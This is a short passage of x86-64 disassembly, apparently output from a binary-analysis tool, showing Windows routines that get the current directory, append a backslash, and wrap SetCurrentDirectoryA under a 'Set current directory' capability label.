mov esi, 0x104
mov ecx, esi
call fcn.140014730
mov ecx, esi
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
movsxd rbx, eax
test eax, eax
je 0x14001072b
cmp byte [rbx + rdi - 1], 0x5c
je 0x14001072b
mov byte [rbx + rdi], 0x5c
inc ebx
sub esi, ebx
mov ecx, esi
call fcn.1400148d0
mov rsi, qword [rsp + 0x38]
movsxd r11, ebx
mov rbx, qword [rsp + 0x30]
mov byte [r11 + rdi], 0
add rsp, 0x20
pop rdi
ret

Function at 0x14001074c
Capabilities:
Set current directory

Disassembly:
sub rsp, 0x28
test rcx, rcx
je 0x14001075f
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cdqe
jmp 0x140010761
xor eax, eax
add rsp, 0x28
ret